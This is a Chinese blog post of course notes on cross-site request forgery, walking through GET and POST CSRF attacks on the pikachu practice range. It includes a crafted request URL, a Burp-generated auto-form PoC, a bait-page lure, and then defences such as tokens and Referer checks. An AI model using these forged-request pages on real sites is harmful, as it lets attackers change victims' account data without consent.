web安全-6-CSRF漏洞

笔记是根据马士兵教育2024HVV专题编写,作为学习记录来分享,如有错误的地方请指正,谢谢

免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

1、CSRF漏洞原理介绍

1.1、漏洞介绍

CSRF(Cross -Site Reques t Forgery ),跨站请求伪造攻击,通常缩写为CSRF或者XSRF , 是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。

1.2、CSRF漏洞攻击原理介绍

首先我们正常去登录一个平台。比如京东是这样的。用户输入账号密码,京东放回给浏览器一个cookie,用户就可以携带着cookie登录。如图
在这里插入图片描述
黑客是怎么攻击的呢?
当用户登录京东后,访问了黑客发送过来的链接。但是其实这个链接里面还携带比如购买京东的信息。或者携带转账的信息。这就是CSRF
在这里插入图片描述

1.3、CSRF攻击需要满足的条件

CSRF攻击想要成功,必须同时满足两个条件:

  1. 登录受信任网站A,并在本地生成Cookie。
  2. 在不登出A的情况下,访问危险网站B

2、GET型CSRF

什么是GET型CSRF,就是上图中第4点,发送的请求是GET型就是

2.1、实战解说

这里使用pikachu靶场的GET CSRF进行演示

2.1.1、常规用户操作

这有一个登录窗口,我们根据提示输入账号密码就可以进入
在这里插入图片描述
登录后就可以看到这个个人中心
在这里插入图片描述
继续我们可以修改个人信息,这就是一个登录的流程
在这里插入图片描述

以上这些操作都是用户自己修改的操作,黑客如何修改呢

2.1.2、黑客操作

1、黑客首先自己搭建一个网站,比如hs网站,我这使用phpstudy搭建
//大家可以自己弄一个,网站内容不重要主要是部分代码
在这里插入图片描述
在这里插入图片描述

黑客在这个网站中植入一个恶意代码,当用户登录网站后,再访问这个网站就可以完成伪造请求攻击

2、黑客首先自己先去登录这个pikachu抓去修改密码的包,分析包的情况,是get请求,并进行了编码
在这里插入图片描述
我们现在就是要构造一份这样假的东西

3、把get后的报文复制一份

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=11111111111&add=%E5%8C%97%E4%BA%AC&email=111%40123.com&submit=submit

4、将这个url进行解码,我这里用的是notepad++编辑器
解码过程,选中url->点击插件->MIME tools->URL Decode

得到

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=&phonenum=11111111111&add=北京&email=111@123.com&submit=submit

5、接着在这前面加上访问的网址
http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php

代码变成这样

http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=&phonenum=11111111111&add=北京&email=111@123.com&submit=submit

6、我们需要把这段内容植入到刚刚写的页面里。

这里我们构造一个按钮
在这里插入图片描述
7、把刚刚这个url写入action中,当用户点击后,就会执行
在这里插入图片描述
写入后,网页就变成这样了
在这里插入图片描述
这时候我们准备工作就做好了,接下来就请受害人登录pikachu然后再点击我们的网站就可以了

8、开始实施

1)、kobe先登录
在这里插入图片描述
2)、然后兄弟发来hs网站说好多小姐姐,然后kobe点击进去
在这里插入图片描述
3)、确实很多,然后kobe点击喜欢吗宝贝按钮,这时候信息就被修改了
在这里插入图片描述
他会根据你存储在浏览器上的cookie发送这条修改请求,攻击就成功了


如果修改错误,可以使用post的方法在试试,把method请求改为get就可以了

3、POST型CSRF

3.1、实战解说

靶场也是使用pikachu的靶场

1、废话不多说,先抓个包
在这里插入图片描述
我们可以看到这个修改内容,发送的是post请求,内容与get请求不一样的是,get是在url中,post请求内容是在请求体内。

同样接下来我们也要伪造一下链接,诱导用户去点击。

2、先修改个请求
在这里插入图片描述

在burpsuite中就有一个csrf工具
3、点击右键->相关工具->CSRF PoC生成
在这里插入图片描述
把这段CSRF PoC复制一下
在这里插入图片描述

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="nan" />
      <input type="hidden" name="phonenum" value="888" />
      <input type="hidden" name="add" value="888" />
      <input type="hidden" name="email" value="888" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

4、修改我们刚刚写的hs网站,把这段代码植入进去
在这里插入图片描述

页面就显示为:
在这里插入图片描述

接下来跟get一样,点击喜欢吗,就进行修改操作了

在这里插入图片描述

4、CSRF漏洞如何防范

1、验证 HTTP Referer 字段;
2、增加 token并验证
3、在 HTTP 头中自定义属性并验证。
4、重要内容添加二次验证

4.1、验证 HTTP Referer 字段

http包头的Referer参数的值,表示来源地址,如果来源不是正常网站而是外网或者没有referer值,请求就失败

4.2、增加 token并验证

用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

4.3、在 HTTP 头中自定义属性并验证

这种比较安全一点,自定义属性黑客比较难找

4.4、重要内容添加二次验证

像转账,要输入支付密码这种就可以很好预防CSRF攻击

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值